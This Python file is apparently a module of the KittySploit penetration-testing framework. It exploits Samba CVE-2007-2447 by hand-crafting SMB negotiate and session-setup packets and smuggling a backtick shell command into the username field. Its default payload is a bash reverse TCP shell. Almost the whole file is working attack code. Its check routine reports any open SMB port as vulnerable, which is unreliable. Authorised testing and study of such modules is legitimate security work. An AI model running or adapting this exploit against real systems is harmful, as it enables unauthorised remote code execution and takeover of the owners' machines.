Samba CVE-2007-2447 usermap script RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Samba CVE-2007-2447 username map script command injection."""

from __future__ import annotations

import socket
import time

from kittysploit import *


class Module(Exploit):
    __info__ = {
        "name": "Samba CVE-2007-2447 usermap script RCE",
        "description": (
            "CVE-2007-2447 (Samba 3.0.20): SMB Session Setup username is passed "
            "unsanitized to username map script when configured — shell injection."
        ),
        "author": ["KittySploit Team"],
        "cve": ["CVE-2007-2447"],
        "platform": Platform.LINUX,
        "arch": [Arch.CMD],
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2007-2447",
            "https://github.com/dinosn/exploit-watch-archive",
        ],
        "tags": ["samba", "smb", "usermap", "rce", "cve-2007-2447"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "remote_code_execution"],
            "expected_requests": 1,
            "reversible": False,
            "approval_required": True,
            "produces": ["exploit_paths", "rce", "shell"],
            "chain": {
                "suggested_followups": [
                    "scanner/tcp/samba_cve_2007_2447_detect",
                    "scanner/smb/smb_version_detect",
                ],
            },
        },
    }

    port = OptPort(139, "NetBIOS session port (139) or 445 if adapted", required=True)

    @staticmethod
    def _nb(data: bytes) -> bytes:
        return b"\x00" + len(data).to_bytes(3, "big") + data

    def _packets(self, username: str) -> tuple[bytes, bytes]:
        neg = (
            b"\xff\x53\x4d\x42"
            b"\x72"
            b"\x00\x00\x00\x00"
            b"\x18"
            b"\x01\x28"
            b"\x00\x00"
            b"\x00\x00\x00\x00\x00\x00\x00\x00"
            b"\x00\x00"
            b"\x00\x00"
            b"\x2f\x4b"
            b"\x00\x00"
            b"\xc5\x5e"
            b"\x00"
            b"\x31\x00"
            b"\x02LANMAN1.0\x00"
            b"\x02LM1.2X002\x00"
            b"\x02NT LANMAN 1.0\x00"
            b"\x02NT LM 0.12\x00"
        )
        user = username.encode()
        bcc_payload = b"\x00\x00\x00" + user + b"\x00" + b"\x00" + b"Unix\x00" + b"Samba\x00"
        bcc = len(bcc_payload).to_bytes(2, "little")
        sess = (
            b"\xff\x53\x4d\x42"
            b"\x73"
            b"\x00\x00\x00\x00"
            b"\x18"
            b"\x01\x20"
            b"\x00\x00"
            b"\x00\x00\x00\x00\x00\x00\x00\x00"
            b"\x00\x00"
            b"\x00\x00"
            b"\x2f\x4b"
            b"\x00\x00"
            b"\xc5\x5e"
            b"\x0d"
            b"\xff"
            b"\x00"
            b"\x00\x00"
            b"\xff\xff"
            b"\x02\x00"
            b"\x01\x00"
            b"\x00\x00\x00\x00"
            b"\x00\x00"
            b"\x00\x00"
            b"\x00\x00\x00\x00"
            b"\x00\x00\x00\x00"
            + bcc
            + bcc_payload
        )
        return self._nb(neg), self._nb(sess)

    def execute(self, cmd: str) -> str:
        username = "/=`nohup " + str(cmd) + "`"
        neg, sess = self._packets(username)
        host = str(self.target or "")
        port = int(self.port or 139)
        sock = socket.create_connection((host, port), timeout=12)
        sock.send(neg)
        sock.recv(2048)
        sock.send(sess)
        try:
            sock.recv(2048)
        except Exception:
            pass
        time.sleep(1)
        sock.close()
        return f"SMB Session Setup sent (username injection): {username[:80]}"

    def check(self):
        host = str(self.target or "")
        port = int(self.port or 139)
        try:
            sock = socket.create_connection((host, port), timeout=8)
            sock.close()
            return {
                "vulnerable": True,
                "reason": "SMB session port open (requires username map script on target)",
                "confidence": "low",
            }
        except OSError as exc:
            return {"vulnerable": False, "reason": str(exc), "confidence": "high"}

    def check_execute(self):
        return bool(self.check().get("vulnerable"))

    def run(self):
        shell = self.shell_from_payload()
        if not shell:
            print_error("Set payload")
            return False

        print_status("CVE-2007-2447 — Samba usermap injection")
        detail = self.execute(shell)
        print_info(detail)

        if str(self.shell_from_payload() or "").strip():
            return True
        return True